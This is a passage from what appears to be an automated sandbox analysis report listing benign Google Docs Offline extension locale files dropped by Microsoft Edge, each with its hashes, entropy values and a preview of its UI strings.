Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
